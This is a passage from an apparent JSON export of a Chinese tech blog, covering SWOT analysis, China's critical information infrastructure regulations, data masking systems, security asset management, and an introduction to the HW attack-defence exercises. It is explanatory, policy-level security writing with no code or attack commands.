总之，SWOT分析法通过全面、系统地评估内外部因素，为企业或个人提供了一个清晰、直观的框架，帮助他们制定更明智的战略和决策。\n五、SWOT分析法的优缺点 SWOT分析法在战略规划和决策过程中具有一定的优势，但也存在一些局限性。SWOT分析法的优缺点如下： 优点：\n全面性与系统性：SWOT分析法能够全面系统地评估组织的内部条件（优势和劣势）和外部环境（机会和威胁），从而帮助决策者获得一个全面的战略视野。 直观性与简单性：SWOT分析法的矩阵形式直观易懂，使得分析过程和结果易于理解和沟通。同时，它的应用相对简单，不需要复杂的数学模型或工具。 战略制定基础：通过识别优势和劣势、机会和威胁，SWOT分析法为制定组织战略提供了坚实的基础。它可以帮助决策者确定战略方向，制定具体的行动计划。 灵活性与适用性：SWOT分析法不仅适用于企业层面的战略分析，还可以应用于个人职业规划、项目管理等多个领域。此外，它还可以与其他战略规划工具和方法相结合，如PEST分析、五力模型等，以增强分析的深度和广度。 缺点：\n主观性与依赖性：SWOT分析法的结果很大程度上依赖于分析者的主观判断和经验。不同的分析者可能会得出不同的结论，从而导致战略制定过程中的偏差。 静态性：SWOT分析通常基于当前的内部条件和外部环境进行，缺乏对未来的预测和动态变化的考虑。因此，它可能无法完全捕捉到市场、技术、竞争等方面的快速变化。 可能忽略关键因素：在某些情况下，SWOT分析可能会忽略一些重要的非优势、非劣势、非机会和非威胁因素，这些因素可能对组织的战略制定产生重要影响。 缺乏量化指标：SWOT分析主要基于定性分析，缺乏量化指标来评估优势、劣势、机会和威胁的程度。这使得分析结果可能不够精确，难以进行具体的量化比较和决策。 在使用SWOT分析法时，应结合其他战略规划工具和方法，以提高分析的准确性和有效性。同时，还需要注意分析者的主观性和经验对分析结果的影响，以确保制定出的战略符合组织的实际情况和发展目标。\n六、SWOT分析实例 使用SWOT分析法进行计算机专业毕业大学生的个人职业规划，可以帮助学生充分了解自己的优势、劣势，以及外部环境中的机会和威胁，从而制定出符合自己特点和行业趋势的职业规划。以下是一名对软件开发和人工智能领域有浓厚兴趣即将毕业的计算机专业大学生通过SWOT分析法进行个人职业规划的具体例子： 个人背景： 小华，一名即将毕业的计算机专业大学生，对软件开发和人工智能领域有浓厚兴趣。 优势（Strengths）：\n专业知识扎实：在校期间系统学习了计算机科学的理论知识，具备扎实的编程基础和算法设计能力。 项目经验丰富：参与了多个软件开发项目，包括课程作业、实习项目和个人实践，积累了丰富的项目经验。 快速学习能力：对新技术和新知识保持高度敏感，能够快速学习和掌握新的编程语言、框架和工具。 劣势（Weaknesses）：\n缺乏实际工作经验：虽然参与了多个项目，但都是在学校或实习环境下，缺乏实际职场工作经验。 团队协作和沟通能力待提升：在团队协作中，有时过于关注技术细节，忽略了与团队成员的有效沟通和协作。 机会（Opportunities）：\n技术行业快速发展：随着数字化转型的加速，计算机行业呈现出蓬勃发展的态势，为张华提供了广阔的就业空间和职业发展机会。 政策支持与市场需求：政府对高科技产业的扶持力度加大，市场需求旺盛，尤其是人工智能、大数据等领域，为专业方向提供了良好的发展前景。 威胁（Threats）：\n行业竞争激烈：计算机专业毕业生众多，行业竞争激烈，需要不断提升自己的技能水平和实践经验，以增加就业竞争力。 技术更新换代快：计算机行业技术更新换代迅速，需要不断学习和跟进新技术，以适应市场需求和行业变化。 基于SWOT分析的职业规划策略：\n发挥优势：利用扎实的专业知识和项目经验，寻找与软件开发和人工智能相关的岗位，争取在行业中获得认可和发展。 克服劣势：通过参加实际项目、实习或职业培训，积累实际工作经验，提升团队协作和沟通能力。同时，注重与同事和业界人士的交流，拓宽人脉圈子。 抓住机会：关注行业发展趋势和市场需求，积极寻找适合自己的发展机会。可以考虑在人工智能、大数据等热门领域寻求就业机会或创业机会。 应对威胁：保持持续学习和进取的态度，不断跟进新技术和新知识。同时，提升自己的综合素质和竞争力，以应对潜在的就业威胁和行业变化。 SWOT分析法可以帮助个人全面评估自己的优势和劣势，以及外部环境中的机会和威胁，从而制定出符合自己特点和行业趋势的职业规划策略。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-04-23-swot%E5%88%86%E6%9E%90%E6%B3%95%E7%9F%A5%E5%BD%BC%E7%9F%A5%E5%B7%B1%E7%9A%84%E6%88%98%E7%95%A5%E8%A7%84%E5%88%92%E5%B7%A5%E5%85%B7/","summary":"\u003cp\u003e\u003cimg alt=\"SWOT\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2024/20240423/SWOT.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"一什么是swot分析法\"\u003e一、什么是SWOT分析法\u003c/h2\u003e\n\u003cp\u003eSWOT分析法是一种用于评估组织、项目、个人或任何其他事物的战略规划工具。SWOT是Strengths（优势）、Weaknesses（劣势）、Opportunities（机会）和Threats（威胁）的缩写。通过分析这四个方面，SWOT分析法可以帮助决策者了解当前情况，并为未来的行动制定策略。\u003c/p\u003e","title":"SWOT分析法：知彼知己的战略规划工具"},{"content":"关键信息基础设施是国家的重要战略资源，涉及到国家的主权、安全和发展利益。这些设施在国家经济和社会服务中承担着重要角色，其安全稳定运行直接关系到国家安全和经济社会健康发展。让我们一起来了解一下什么是关键信息基础设施及其安全保护条例。\n一、什么是关键信息基础设施 关键信息基础设施是指公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务、国防科技工业等重要行业和领域的，以及其他一旦遭到破坏、丧失功能或者数据泄露，可能严重危害国家安全、国计民生、公共利益的重要网络设施、信息系统等。这些设施和服务是数字经济产业供应链的底层设施，其功能稳定与服务持续关乎国家经济命脉。关键信息基础设施的确定通常包括确定关键业务、确定支撑关键业务的信息系统或工业控制系统，并根据关键业务对信息系统或工业控制系统的依赖程度，以及信息系统发生网络安全事故后可能造成的损失来认定。\n二、什么是关键信息基础设施保护条例 关键信息基础设施安全保护条例是中华人民共和国为了保障关键信息基础设施的安全，维护网络安全，根据《中华人民共和国网络安全法》制定的行政法规。该条例明确了关键信息基础设施的范围，包括公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务、国防科技工业等重要行业和领域，以及其他可能严重危害国家安全、国计民生、公共利益的重要网络设施和信息系统。条例还规定了保护原则、监督管理体制、运营者责任、保障促进措施和法律责任等内容，旨在建立专门保护制度，确保关键信息基础设施免受攻击、侵入、干扰和破坏，维护国家和人民的利益。该条例自2021年9月1日起施行。\n三、关键信息基础设施的范围有哪些 关键信息基础设施的范围相当广泛，涵盖了多个行业和领域，这些都是国家安全、国计民生、公共利益所依赖的重要网络设施和信息系统。具体来说，关键信息基础设施主要包括：\n公共通信和信息服务：这包括电信网、广播电视网、互联网等信息网络，以及提供云计算、大数据和其他大型公共信息网络服务的单位。\n能源：这指的是电力、石油、天然气等能源领域的网络设施和信息系统。\n交通：包括铁路、公路、水路、航空等交通领域的网络设施和信息系统。\n水利：涉及水利工程建设、水资源管理、防洪抗旱等领域的网络设施和信息系统。\n金融：银行、证券、保险等金融机构的网络设施和信息系统。\n公共服务：医疗、教育、社保等公共服务领域的网络设施和信息系统。\n电子政务：各级政府部门的电子政务系统，包括政务网站、政务服务平台等。\n国防科技工业：涉及国防科研、生产、试验等领域的网络设施和信息系统。\n此外，广播电台、电视台、通讯社等新闻单位，以及大型装备、化工、食品药品等行业领域的科研生产单位，也被纳入关键信息基础设施的范围。\n这些关键信息基础设施一旦遭到破坏、丧失功能或者数据泄露，可能严重危害国家安全、国计民生、公共利益。因此，对它们进行严格的保护和管理至关重要。\n四、如何认定是否是关键信息基础设施 认定是否是关键信息基础设施，需要依据《关键信息基础设施安全保护条例》以及相关的国家标准和行业实践。以下是认定的关键步骤和考虑因素：\n行业和领域：首先，需要确定设施或系统是否属于《关键信息基础设施安全保护条例》第二条明确指出的重要行业和领域，如公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务、国防科技工业等。\n重要程度：考虑网络设施和信息系统对本行业、本领域关键核心业务的重要程度，即它们是否对行业核心业务提供基础支撑作用。\n潜在危害：评估一旦网络设施和信息系统遭到破坏、丧失功能或数据泄露，可能带来的国家安全、国计民生、公共利益方面的危害程度。\n关联性影响：分析网络设施和信息系统对其他行业和领域的关联性影响，即它们是否可能对其他行业和领域造成连锁反应或影响。\n动态认定：《关键信息基础设施安全保护条例》允许重点行业领域主管部门根据“重要程度”、“危害程度”、“关联性影响”等标准动态认定关键信息基础设施，并要求将认定结果报国务院公安部门备案。\n关键信息基础设施的认定是一个动态的过程，随着技术的发展和威胁环境的变化，认定标准和方法可能需要进行调整。因此，保护工作部门和相关单位需要定期评估和更新关键信息基础设施名录，以确保其准确性和有效性。\n五、关键信息基础设施运营者的主要责任 关键信息基础设施运营者的主要责任包括以下几个方面：\n落实网络安全责任：运营者需建立健全网络安全保护制度和责任制，确保人力、财力、物力的投入，以保障关键信息基础设施的安全稳定运行。\n设置专门安全管理机构：运营者必须设立专门的安全管理机构，并对机构负责人和关键岗位人员进行安全背景审查，确保关键岗位人员的安全性。\n开展安全监测和风险评估：运营者应自行或委托网络安全服务机构对关键信息基础设施每年至少进行一次网络安全检测和风险评估，对发现的安全问题及时整改，并按照保护工作部门要求报送情况。\n保障数据的完整性、保密性和可用性：运营者需采取技术保护措施和其他必要措施，应对网络安全事件，防范网络攻击和违法犯罪活动，维护数据的安全。\n总的来说，关键信息基础设施运营者的主要责任是确保设施的安全、稳定运行，保护数据的安全和隐私，并遵守相关的法律法规和政策要求。他们需要制定并执行严格的安全管理制度和措施，以防止网络攻击和数据泄露等事件的发生，保障国家安全、社会稳定和公共利益。\n附：《关键信息基础设施安全保护条例》\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-04-18-%E4%BB%80%E4%B9%88%E6%98%AF%E5%85%B3%E9%94%AE%E4%BF%A1%E6%81%AF%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD%E5%8F%8A%E5%85%B6%E5%AE%89%E5%85%A8%E4%BF%9D%E6%8A%A4%E6%9D%A1%E4%BE%8B/","summary":"\u003cp\u003e关键信息基础设施是国家的重要战略资源，涉及到国家的主权、安全和发展利益。这些设施在国家经济和社会服务中承担着重要角色，其安全稳定运行直接关系到国家安全和经济社会健康发展。让我们一起来了解一下什么是关键信息基础设施及其安全保护条例。\u003c/p\u003e","title":"什么是关键信息基础设施及其安全保护条例？"},{"content":"随着业务的快速发展，特别是在银行、电信、医疗等行业中，企业积累了大量的包含账户、个人身份信息、财务信息等敏感信息的数据。这些数据如果被泄露或损坏，不仅会给企业带来经济上的损失，还可能严重影响企业的声誉和客户的信任。\n此外，随着数据分析和挖掘技术的广泛应用，企业需要对数据进行各种处理以满足业务需求。然而，在数据使用的过程中，如何确保敏感数据不被泄露或滥用成为了一个重要的问题。特别是在开发、测试、外包等场景中，直接使用真实数据存在极大的风险。\n因此，数据脱敏技术应运而生。它通过对敏感数据进行变形、替换、删除等操作，使数据在保持一定特征的同时，不再包含敏感信息。这样，即使数据被泄露，也不会造成严重的后果。\n本文让我们一起来认识数据脱敏系统\n一、什么是数据脱敏 数据脱敏是一种信息安全技术，它通过将敏感信息转换成无实际意义的数据，同时保持原始数据的格式、类型和业务逻辑，以确保数据在使用过程中的安全性和合规性。数据脱敏的目的是保护个人隐私和企业敏感信息，防止数据在非生产环境中泄露或被不当使用。\n数据脱敏具有几个关键点：敏感数据、脱敏规则、使用环境。敏感数据是需要进行保护的目标，如身份证号、手机号、卡号、客户号等个人信息；脱敏规则是进行数据变形时遵循的标准或方法；使用环境则是指数据脱敏后应用的具体场景，如开发、测试环境等。\n数据脱敏的类型主要有两种：静态脱敏和动态脱敏。静态脱敏是指对敏感数据进行脱敏处理后，将数据从生产环境导入到其他非生产环境进行使用。而动态脱敏则会对数据进行多次脱敏，更多应用于直接连接生产数据的场景，在用户访问生产环境敏感数据时，通过匹配用户IP或MAC地址等脱敏条件，根据用户权限采用改写查询SQL语句等方式返回脱敏后的数据。\n通过数据脱敏，企业可以在确保数据安全性和隐私性的前提下，充分利用数据进行业务分析、测试和开发等工作，同时满足法规合规性要求。\n二、为什么要做数据脱敏 数据脱敏是数据保护的关键环节，主要出于以下原因：\n保护隐私：数据脱敏可以确保敏感信息不被未经授权的人员访问或滥用。例如，在医疗、金融等领域，个人身份信息、疾病信息、财务信息等都属于高度敏感数据，如果不进行脱敏处理，一旦泄露，可能会给个人或组织带来严重的隐私和财务风险。 遵守法规：许多国家和地区都有关于数据保护和隐私的法律法规，要求企业在处理个人数据时必须采取适当的保护措施。数据脱敏是满足这些法规要求的重要手段之一。 安全测试：在软件开发和测试过程中，经常需要使用真实的数据进行模拟测试。然而，直接使用原始敏感数据进行测试可能会带来安全风险。通过数据脱敏，可以在保留数据结构和特性的同时，去除敏感信息，从而确保测试过程的安全性和合规性。 防止数据滥用：即使在企业内部，不同部门和员工对数据的访问和使用权限也应有所限制。数据脱敏可以防止员工滥用数据，确保数据在内部使用的安全性和合规性。 总的来说，数据脱敏是确保数据安全和隐私保护的重要手段，有助于企业在处理敏感数据时遵守法规要求，降低安全风险，并促进数据的合规使用和共享。\n三、数据脱敏系统的工作原理 数据脱敏系统的工作原理涉及几个关键步骤和技术，主要目的是将敏感数据转换成非敏感数据，同时保持数据的一致性和可用性。\n数据识别：首先，系统需要识别和分类需要脱敏的数据。这通常涉及到扫描数据源，如数据库、数据仓库或文件系统，以确定包含敏感信息的数据字段。这些数据字段可能包括个人身份信息（如姓名、身份证号、联系方式等）、财务信息、健康记录等。 脱敏规则定义：一旦识别了敏感数据，下一步是定义脱敏规则。这些规则指定了如何转换敏感数据，以及哪些数据需要被脱敏。脱敏规则可以基于数据类型、数据敏感级别、业务需求和合规要求来制定。例如，可以使用掩码遮盖电话号码的一部分，或者将姓名替换为随机生成的别名。 脱敏算法应用：根据定义的脱敏规则，系统将选择合适的脱敏算法来处理数据。这些算法可能包括数据替换、数据混淆、数据加密、散列等。例如，可以使用伪随机数生成器产生新的、不与原始数据相关的数据，或者应用加密算法将原始数据转换为不可读的密文。 数据转换：在应用脱敏算法后，敏感数据将被转换成非敏感数据。这个过程需要确保数据的格式和结构保持不变，以便数据仍然可以用于分析、测试或其他业务用途。 数据验证和审计：脱敏后的数据需要进行验证，以确保敏感信息已被有效脱敏，并且数据的一致性和完整性得到保持。此外，系统通常包括审计功能，记录所有脱敏活动，以便在需要时进行审查和合规性报告。 数据输出：经过脱敏处理的数据可以输出到目标系统或存储位置，供进一步的业务使用。这些数据现在可以安全地在非生产环境中使用，例如开发、测试或数据分析，而不会泄露敏感信息。 数据脱敏系统的设计和实现需要考虑到数据的安全性、可用性和合规性。系统应具备灵活性和可扩展性，以适应不断变化的业务需求和法规要求。通过这些步骤，数据脱敏系统能够有效地保护敏感数据，同时允许数据在各种环境中安全地使用。\n四、常见的数据脱敏方法 常见的数据脱敏方法主要包括以下几种：\n哈希脱敏：这是通过将数据通过哈希函数转换成固定长度的摘要信息。这种脱敏方法的优点是不可逆，即无法通过摘要信息还原出原始数据，从而确保了数据的安全性。 加密脱敏：使用加密算法将数据转换成密文，只有拥有相应密钥的人才能对其进行解密还原。这种方法的优点在于可以通过密钥进行数据的还原，但缺点是需要保护好密钥的安全性，防止泄露。 掩码脱敏：这种方法是将数据中的一部分信息替换成通用的字符，如用“*”或“X”来代替部分数据。其优点是简单、易于实现，但也存在被还原的风险。 伪造脱敏：将真实数据替换成一些看起来合理的但并非真实的数据。例如，将真实的姓名替换成随机的姓名或将真实的年龄替换成一个合理的年龄区间。 基于规则的脱敏：根据不同的敏感程度，制定相应的脱敏规则。对于姓名、联系方式等个人信息，可以将关键信息用“*”代替。 数据扰动脱敏：将原始数据进行随机化处理，添加一定的随机误差，使得原始数据不易被还原，从而达到数据保护的目的。 这些方法可以根据具体的业务需求和数据特性进行选择和应用，以确保数据的安全性和隐私性。同时，也需要注意，任何脱敏方法都不是绝对安全的，需要综合考虑技术、管理和法律等多个层面的因素，来制定和完善数据保护策略。\n五、数据脱敏系统的主要功能 数据脱敏系统具备一系列核心功能，这些功能旨在确保敏感数据的安全性和合规性，同时满足各种业务需求。数据脱敏系统的主要核心功能包括：\n数据识别与分类： 系统能够自动识别和分类敏感数据，如个人身份信息、财务信息、商业机密等。 通过预设的规则或算法，系统能够准确识别出需要进行脱敏处理的数据项。 脱敏规则配置： 系统允许用户根据业务需求自定义脱敏规则，包括替换、遮蔽、变形、加密等多种脱敏方法。 用户可以针对不同的数据类型和敏感程度，配置不同的脱敏策略。 数据脱敏处理： 根据预设的脱敏规则，系统能够自动对敏感数据进行脱敏处理。 脱敏过程可以批量进行，也可以针对特定数据进行单独处理。 脱敏效果验证： 系统提供脱敏效果验证功能，确保脱敏后的数据达到预期的效果。 用户可以通过对比原始数据和脱敏数据，验证脱敏操作的准确性和完整性。 数据管理与调度： 系统提供统一的数据管理和调度功能，方便用户对脱敏数据进行管理和使用。 用户可以方便地查看、查询和导出脱敏数据，满足不同的业务需求。 审计与监控： 系统记录脱敏操作的全过程，包括操作时间、操作人员、操作内容等。 提供审计日志和监控报表，方便企业进行安全审计和合规性检查。 权限管理与控制： 系统具备严格的权限管理和控制功能，确保只有授权的用户才能访问和操作脱敏数据。 通过角色和权限的设置，实现不同用户之间的数据隔离和访问控制。 可扩展性与集成性： 数据脱敏系统通常具备良好的可扩展性，能够支持不同规模和复杂度的数据脱敏需求。 系统还提供了与其他系统的集成接口，方便与其他数据管理和安全系统进行对接。 这些功能共同构成了数据脱敏系统的核心功能体系，有助于企业全面、高效地管理和保护敏感数据，确保数据的隐私性和安全性。\n六、数据脱敏系统的部署方式 脱敏产品一般支持代理接入部署模式和半透明网桥部署模式两种部署模式，满足用户不同的系统部署需求场景。\n代理接入部署模式 利用代理接入部署模式将动态数据脱敏系统并联接入网络，客户端逻辑连接动态数据脱敏系统的IP地址，使得动态数据脱敏系统转发流量到数据库服务器。\n半透明网桥部署模式 利用半透明网桥部署模式将动态数据脱敏系统物理串联接入网络，所有用户访问的网络流量均串联流经该设备。通过半透明网桥技术，客户端看到的数据库服务的IP地址不变。\n七、数据脱敏与去标识化的关系与区别 数据脱敏（Data Masking）和去标识化（de-identification）是两种不同的数据处理技术，它们都旨在保护敏感信息，但方法和目的有所不同。\n目的和应用场景： ○ 数据脱敏主要是为了在非生产环境中保护敏感数据，例如在开发、测试或培训环境中使用生产数据的副本。它的目的是通过替换、掩盖或其他技术手段，使得敏感数据在外观上不再识别得出，同时保持数据的某些使用功能和分析价值。 ○ 去标识化则是将个人信息从数据集中剥离，使得数据不再能够直接或间接地识别特定的个人。它的目的是在数据发布、共享或用于统计和研究等场景中，保护个人隐私，同时允许数据的其他用途。 处理程度和技术方法： ○ 数据脱敏可以采用多种技术手段，如数据替换、数据掩盖、数据混淆等，这些方法通常保持了数据的格式和结构，但改变了数据的内容，使其无法追溯到原始个人。 ○ 去标识化则更侧重于消除或减少数据集中与个人身份的关联性，它可能包括删除直接标识符、使用伪匿名技术、应用统计技术等，以确保数据在不借助额外信息的情况下无法识别个人。 法律和合规要求： ○ 数据脱敏通常是为了满足特定的业务需求和合规要求，如《电信和互联网行业数据安全标准体系建设指南》中提到的数据处理标准，以及《个人信息保护法》中对个人信息处理的规定。 ○ 去标识化则更多地关联于数据的发布和共享，它需要确保处理后的数据不再属于个人信息，从而不受个人信息保护法规的约束，如《个人信息保护法》第4条所述的匿名化信息不属于个人信息。 数据的可用性： ○ 脱敏后的数据通常仍然可以用于分析、测试和开发等目的，尽管数据的敏感内容已经被改变或隐藏。 ○ 而去标识化后的数据则更侧重于数据的发布和共享，其可用性可能受到更多限制，因为它需要确保数据无法被重新识别到个人。 总结来说，数据脱敏和去标识化都是为了保护敏感信息，但它们在目的、处理手段、法律要求和数据可用性方面存在差异。数据脱敏更侧重于在非生产环境中保护数据的外观和某些功能，而去标识化则侧重于消除数据与个人身份的关联，以确保数据的安全发布和共享。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-04-10-%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%95%B0%E6%8D%AE%E8%84%B1%E6%95%8F%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e随着业务的快速发展，特别是在银行、电信、医疗等行业中，企业积累了大量的包含账户、个人身份信息、财务信息等敏感信息的数据。这些数据如果被泄露或损坏，不仅会给企业带来经济上的损失，还可能严重影响企业的声誉和客户的信任。\u003c/p\u003e","title":"数据安全产品之认识数据脱敏系统"},{"content":"“摸清家底，认清风险”做好资产管理是安全运营的第一步。本文一起来看一下资产管理的重要性、难点痛点是什么，如何做好资产管理，认清风险。\n一、资产安全信息管理的重要性 安全风险管理的三要素分别是资产、威胁和脆弱性，脆弱性的存在将会导致风险，而威胁主体利用脆弱性产生风险。网络攻击主要利用了系统的脆弱性。由于网络管理对象（资产）自身的脆弱性，使得威胁的发生成为可能，从而造成了不同的影响，形成了风险。什么是网络安全资产参见《网络安全之资产及攻击面管理》\n首先，网络安全资产管理有助于降低网络风险。通过对公司网络资产进行识别和分类，包括硬件设备、软件系统、数据等，可以更好地进行后续的安全措施和决策，从而最大程度地减少网络风险和避免潜在的安全漏洞。这对于保护企业的核心业务和数据安全至关重要，有助于防止数据泄露、非法访问和业务中断等风险事件的发生。\n其次，网络安全资产管理是高质量安全管理与运营的基础。良好的资产管理能够有效支撑互联网暴露面收敛、安全漏洞修复与验证、威胁检测与分析、安全事件响应与处置等日常安全运营与攻防对抗中的关键活动。这不仅可以提高网络安全的防御能力，还可以为企业的日常安全管理和运营工作带来极大的便利。\n此外，网络安全资产管理也有助于满足法规和合规要求。随着网络安全法规的不断完善和监管力度的加强，企业需要确保其网络资产符合相关法规和政策要求，避免违法违规行为的发生。通过网络安全资产管理，企业可以系统地管理网络资产，确保合规性，降低因违反法规而带来的潜在风险。\n二、资产安全信息管理的痛点 随着企业数字化转型进程的不断加速，IT系统安全资产数量增长迅猛。与此同时，云计算、大数据等各种新技术应用也使得安全资产类型日益复杂多样。传统的安全资产管理方式难以适应新环境要求，主要面临如下问题：\n安全资产覆盖面广，梳理工作量巨大 安全资产管理的对象包括与IT系统运行相关的主机/虚机、容器、中间件、数据库、大数据组件、WEB应用、WEB框架、网络设备、安全设备等其它应用软件。安全资产分布范围广、种类繁多、属性各异、关系复杂，面对这么多的安全资产对象，传统的填表梳理方式需要投入大量的人力，而且效果极差。 台账不清晰，无法为安全资产风险治理提供有效输入 人工的梳理方式同时也带来大量的安全资产遗漏、属性缺失、资产归属关系不清、安全资产数据碎片化严重等问题，很难形成完整的安全资产台账与暴露面台账，无法为安全资产风险治理与防护提供支撑。 安全资产更新不及时，无法对变更进行及时监控与预警 缺乏动态的资产更新机制，不能及时发现安全资产的变更情况，例如互联网暴露面端口的开通、恶意应用软件的安装、高危WEB插件的应用等，无法及时对安全资产进行风险预警与防范。 缺乏安全资产运营的机制和流程保障，安全资产管理成效差 没有建立规范的安全资产运营机制与流程，安全资产管理工作存在着职责不清、管理制度缺乏、安全资产管理工作无法有条不紊地进行等问题，最终导致安全资产纳管随意、安全资产管理成效差，安全资产风险处置无法有的放矢。 三、如何做好资产安全信息管理 以下梳理了资产安全信息管理的运营管理事项 1、提升资产安全信息自动化、集约化管理能力，做到资产全过程管理 管理措施： 1)集约化统一纳管 随着数字化应用的深入，资产分布在多个数据中心、私有云、公有云、混合云、边缘计算和物联网等各种基础设施环境中，照成了资产信息割裂碎片化，给资产的统一管理带来了困难。为了看到全局的资产信息，有必要实现资产安全信息的自动化、集约化管理，将资产安全管理纳入云主虚机分配、IP 地址申请等流程，打通资产安全管理平台与云管平台、各专业网管系统等 平台接口，将资产安全信息通过接口采集至资产安全管理平台， 确保云网资产安全信息自动化、集约化的统一纳管。 2)资产信息全过程管理 资产的全生命周期覆盖资产上线、资产运行、资产下线，在这过程中要对资产进行定级备案、对资产的台账进行维护、对资产进行风险评估、对资产进行定期的清查。参考《安全运营之资产安全信息管理》。 在资产上线阶段，组织开展Agent安装、资产信息同步、资产安全管理平台信息确认，提升新增资产入网的规范性；在资产入网运营阶段，结合网络部门IP地址分配清单，通过网络空间测绘、IP扫描、流量监测等技术定期开展资产清查，对发现的未知IP地址开展溯源、认领等资产核查工作；在资产下线退网阶段，及时清理资产安全管理平台基本信息、IP地址备案、云管平台等资产分配管理系统数据。 运营指标： 关键的运营指标包括：纳管的资产类型、各类型资产数、Agent的安装率、资产信息准确率、安全资产脱管率（Agent被卸载或失效）、“三无”资产数等。\n2、做好资产的安全风险识别 管理措施： 对本单位管理的资产和安全事件进行关联、分析、展示和管理； 对本单位管理的资产和脆弱性进行关联、分析、展示和管理； 按期开展风险评估和符合性评测，使用定量或定性的风险评估模型，结合资产价值、威胁可能性和脆弱性暴露程度进行计算风险等级，对本单位资产风险情况进行动态管理。 运营指标： 关键的运营指标包括：资产漏洞数、漏洞影响资产数、资产被攻击数、资产被攻击趋势、资产风险值等。\n3、做好互联网暴露面的测绘与管空 管理措施： 1）开通审批，应按“非必须不开通”、“先审批后开通”原则管控互联网暴露资产。开通前应由需求单位开展必要性评估，安全运营维护单位完成系统安全加固和问题整改，安全运营支撑单位开展风险评估，安全运营归口管理单位审核。 2）统一管理，对互联网暴露面资产数据进行统一管理，应对互联网暴露资产进行清单制管理，安全运营支撑单位应至少每月开展一次暴露资产探测和自有网站备案情况自查，安全运营维护单位及时整改相关问题。对未经审批上线的互联网暴露资产责任到人。 3）定期测绘，基于本单位企业指纹和暴露面地址段定期进行互联网暴露面测绘。安全运营支撑单位至少每月开展一次互联网暴露资产安全风险评估，包含安全防护策略有效性核实、全 IP 和端口漏洞扫描、渗透测试和基线配置合规率核查等。系统发生代码更新或版本升级时，安全运营维护单位应重新开展安全风险评估。 4）下线更新，互联网暴露资产下线阶段，系统维护单位应及时发起相关资源的下线申请，在互联网暴露资产关停后 15 日内完成资产安全管理平台的信息更新。 运营指标： 关键的运营指标包括：互联网暴露的系统数、互联网暴露面审批数、互联网暴露的URL数、互联网暴露的端口数、互联网暴露的APP、互联网暴露面趋势等。\n4、做好资产安全信息的动态稽核管理 管理措施： 1）对内网资产资源自动化测绘，对未纳管资产的扫描和识别，应至少每季度开展一次资产探测，识别并推进“三无”资产下线。 2）定期对资产数据进行稽核，确保定级备案资产信息和资产安全管理平台、4A 系统资产信息一致。 运营指标： 关键的运营指标包括：“三无”资产数、未纳管资产数、资产信息准确率等。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-04-09-%E5%AE%9E%E6%88%98%E8%A6%81%E6%B1%82%E4%B8%8B%E5%A6%82%E4%BD%95%E5%81%9A%E5%A5%BD%E8%B5%84%E4%BA%A7%E5%AE%89%E5%85%A8%E4%BF%A1%E6%81%AF%E7%AE%A1%E7%90%86/","summary":"\u003cp\u003e“摸清家底，认清风险”做好资产管理是安全运营的第一步。本文一起来看一下资产管理的重要性、难点痛点是什么，如何做好资产管理，认清风险。\u003c/p\u003e\n\u003ch2 id=\"一资产安全信息管理的重要性\"\u003e一、资产安全信息管理的重要性\u003c/h2\u003e\n\u003cp\u003e安全风险管理的三要素分别是资产、威胁和脆弱性，脆弱性的存在将会导致风险，而威胁主体利用脆弱性产生风险。网络攻击主要利用了系统的脆弱性。由于网络管理对象（资产）自身的脆弱性，使得威胁的发生成为可能，从而造成了不同的影响，形成了风险。什么是网络安全资产参见《\u003ca href=\"http://xiejava.ishareread.com/posts/dc7085dc/\"\u003e网络安全之资产及攻击面管理\u003c/a\u003e》\u003c/p\u003e","title":"实战要求下，如何做好资产安全信息管理"},{"content":"一、什么是HW 网络安全形势近年出现新变化，网络安全态势变得越来越复杂，黑客攻击入侵、勒索病毒等网络安全事件愈演愈烈，严重威胁到我国的网络空间安全。同时，国内不少关键信息基础设施的建设管理单位安全意识不够、安全投入不足，面临网络安全保护的巨大挑战，让国家关键信息基础设施成为网络攻击的重灾区。\n护网行动是由公安部牵头，针对全国范围的真实网络目标单位进行的一种网络安全攻防演练。这种行动的主要目的是评估企事业单位的网络安全防护能力和水平，发现可能存在的安全漏洞，并提升相关人员的网络安全意识和应对能力。\n在护网行动中，公安部会组织攻防两方，其中进攻方会在特定的时间内对防守方发动网络攻击，通过模拟真实的网络威胁来检验防守方的网络安全防护措施是否有效。这种实战化的演练有助于企事业单位更好地了解自身的网络安全状况，从而有针对性地加强防护措施。 护网行动是一种积极、有效的网络安全防护措施，它通过实战化的演练来提升网络安全防护能力，确保网络系统的安全和稳定。\n二、HW行动具体采取了哪些攻防演练措施 护网行动采取了多种攻防演练措施，以模拟和应对网络攻击，从而提升网络安全防护能力。以下是一些具体的攻防演练措施：\n制定演练计划：明确演练的目标、参与人员、时间和场地，为演练准备必要的设备、工具和系统环境。 设定演练情景：设定模拟黑客攻击、内部威胁、网络故障等演练情景，这些情景通常包括不同类型的攻击技术和威胁，以全面检验网络系统的防御能力。 实施攻防演练：根据设定的情景，模拟攻击者进行攻击，挑战网络安全防御能力。同时，团队成员需要响应并采取相应的应对措施，以检验和锻炼他们的响应和处置能力。 攻击分析和演练评估：记录并分析攻击过程，对攻击行为进行深入剖析。同时，评估团队的反应和应对能力，发现并修复存在的漏洞和弱点。 总结和改进：总结演练结果，包括表现出色的方面和需要改进的方面，并制定改进措施和行动计划，以加强网络安全防御。 